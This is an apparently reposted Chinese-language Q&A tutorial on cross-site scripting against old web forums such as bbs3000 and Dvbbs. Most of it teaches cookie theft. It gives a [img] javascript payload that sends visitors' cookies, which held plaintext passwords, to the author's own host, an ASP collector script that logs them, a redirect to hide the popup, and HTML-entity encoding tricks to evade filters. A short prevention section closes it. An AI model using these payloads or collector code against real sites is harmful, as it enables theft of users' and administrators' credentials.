跨站攻击问答FAQ

by lcx

 

菜鸟:前几天,中国浪客联盟的站长欲望之翼,利用跨站攻击在小榕的论坛上获取了很多人的密码,听说就是用你写的一个asp脚本?

Lcx:哈,我也没想到我写的这个asp脚本还有这么大的作用,更没想到小榕论坛还有这个漏洞,早知道的话我也去小榕论坛测试我的asp脚本了,出出风头。这个asp脚本程序很简单,如果你懂得跨站攻击的原理,懂一点点asp知识的话,你就能写出这个asp程序。

菜鸟:什么是跨站攻击?能否简单说一下?

Lcx:按我个人了解的讲一下吧。在国内,我看到最早的跨站攻击资料好像是2000年当时十五岁的初中生小铭在网上贴了一篇文章<<bbs3000存在的安全隐患>>,提到可以在ubb(论坛里常用的一种代码,可以在论坛贴子里起到简单的html效果)嵌入图像代码中写入file://con/con,引起windows98用户访问含有此代码的贴子时造成死机。到2002年,红色警戒小组将服务器网页程序没有过滤或转换用户提交的html代码而形成的漏洞归纳为跨站漏洞,并在此基础上将其内涵延伸从而正式系统定义了跨站攻击的漏洞起源、漏洞成因、漏洞危害及利用方式。小铭提到的bbs3000存在的安全隐患,就是跨站攻击的一个方法了。此时,红色警戒小组已经解散,但他们的旧版网站还在,访问urlhttp://c4st.51.net。如果你有兴趣系统学一下跨站攻击,可以登陆他们的网站,里边有丰富的跨站资料。

菜鸟:我常上论坛,我懂得ubb代码,为什么在[img][/img]里写入file://con/con就会引起造访者死机呢

Lcx:在一些论坛里ubb代码的[img]部份转换为html时,[img]http://ip/x.jpg[/img]会转换成<img src=http://ip/x.jpg>。学过html的都知道,<img src=>里可以直接写入javascript语句。如果你写入[img]file://con/con[/img],转换成html时变成<img src=file://con/con>,由于win98的自身bug,这条语句就会引起win98用户蓝屏。

菜鸟:我好像明白了,你可以在[img][/img]之间写入恶意代码,这就是跨站攻击吧?

Lcx:只能说是跨站攻击里的一个比较重要的入侵方法。

菜鸟:能否实例给我演示一下跨站攻击的这个比较重要的入侵方法?我想弄明白欲望之翼是如何得到别人密码的。我比较菜,你最好图文并貌地给我讲解一下呀。

Lcx:好吧,我在网上四处找了找,终于找到了一个有漏洞的bbs3000论坛,这个论坛的版本比较低,人烟稀少,urlhttp://www.0123x.com/cgi-bin/bbs3000/list.cgi。我就拿它开刀。我注册了一个id:www,密码是wwwwww,然后发了一个贴子,内容是[img]javascript:alert(document.cookie)[/img],然后访问此贴子,会发生什么呢?看图::

图中弹出一个对话框,显示的是用户名和密码。这个对话框,也就是www用户在此论坛里的cookieBbs3000论坛用户的密码是明文保存在cookie里的。现在无论谁看到这个贴子,都会弹出自己的cookie。现在,我将此贴子进一步修改一下,看图:

我写的代码是[img]javascript:window.open(‘http://www.netsill.net/lcx/info.asp?msg=’+document.cookie)[/img]

其中http://www.netsill.net/lcx/是我网站空间的一个目录info.asp是我写的一个asp脚本用于收集msg后边跟的参数,而参数我们指定的是document.cookie,也就是访问此贴用户的cookie

Info.asp的代码是:

<%

testfile=Server.MapPath("lcx.txt")

msg=Request("msg")

set fs=server.CreateObject("scripting.filesystemobject")

set thisfile=fs.OpenTextFile(testfile,8,True,0)

thisfile.WriteLine(""&msg& "")

thisfile.close

set fs = nothing

%>

这样所有访问者的cookie都会收集在lcx.txt这个文件里。此时用户再次访问这个贴子时会发生什么?看图吧:

弹出一个页面,这个info.asp程序起作用了。再看看我的网站空间里lcx.txt收集到cookie没有。

我们以wwwid访问此贴,果然在lcx.txt里收集到了www的用户名和密码。如果论坛管理员来看此贴呢?我想后果你清楚的。

菜鸟:方法我是看懂了。不过,你的方法太明显了呀,谁也会发现弹出了一个收集cookie的窗口。

Lcx:我是为了你看明白图像才这样做的。我们完全可以将info.asp代码改造一下,使这个弹出窗口不可见。像可以在info.asp代码最下边加上这几行:

<script language=vbscript>

window.location.href="http://sohu.com"

</script>

这样弹出的收集cookieinfo.asp窗口就会自动转到sohu.com。当然,如何隐藏你的意图,那就看你写这个info.asp的水平了,方法有很多的。

这个info.asp和有一个同样作用的info.php在我网站里都有下载,地址:http://smallhome.51.net/lcx/wdb/upload/forum1_f_632_1051272537.rar

 

菜鸟:我学会了,去测试了很多论坛,为什么有的成功,有的不成功?怎样才能使成功率高一点?

Lcx:这就涉及到跨站技巧的问题。像大部份论坛,都过滤了javascript这个字符。有个小技巧是可以利用的,可以在论坛发的贴里将javascript写成ascii码。像j可以写成”&#x6a;”

再如a可以写成”&#x61;”,你可以找一个ascii码表对照修改一下,这样成功率能高一点。还有,你要学会分析一下对方的ubb代码。像动网5.0以下论坛,你在[img]里写入和bbs3000一样的代码就不会成功,因为动网5.0以下,ubb代码http://这个地方当成图片地址了,结你提交的代码被分成了两段javascript:window.open('http://www.netsill.net/lcx/info.asp?msg='+document.cookie);,以至于我们提交的代码丧失了功能。难道就不能攻击了吗?当然不是,我们可以变换种方式提交,代码如下:
[img]javascript:window.open('&#x68;tt&#x70;://www.netsill.net/lcx/info.asp?msg='+document.cookie);[/img]

看到区别了吧,这段代码把http中的hp转换成了asciihtml格式&#x68;&#x70;,提交后,轮坛并没有找到http,所以我们提交的代码就不会分家了,达到了攻击的目的。总之,还是要学会多多分析多动脑筋。另外,也不是所有论坛的cookie都存有用户名和密码的。

菜鸟:跨站攻击是不是就是在[img]里写代码呀?

Lcx:一开始就和你说不是了呀。它的危害有很多,像伪造页面信息、拒绝服务攻击打开无穷窗口、与其它漏洞结合,修改系统设置,查看系统文件,执行系统命令等。这些入侵方法,都等待你用聪明才智来学习和进一步发现呢。当然,我侧重在这里讲的是如何利用[img]作文章,这也是跨站攻击一个有趣而且很重要的攻击方法。至于如何利用其它方法入侵,你上http://cs4t.51.net去学习了解一下吧,有许多跨站文章讲得都很清楚,限于篇幅,我就不讲述了。

菜鸟:说了这么多,我也很害怕被跨站攻击,如何预防它呢?

Lcx:如果你开论坛或办网站的话,最重要的是要在表单输入处过滤掉一些敏感字符。javascript/<script>/’/;/&/#了等等,当然前提是你的网页程序还要正常运行。作为个人用户,老生常谈了,不要轻易打开一些不明url,要将自己的信箱、论坛、QQ等资料的密码设的都不一样,如果一旦资料或密码被盗,避免引连锁反应,所有资料和密码都被别人获得。

菜鸟:好像我对跨站攻击有了一点兴致,学会了一种攻击方法。

Lcxhehe,我也就会这么多。J

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值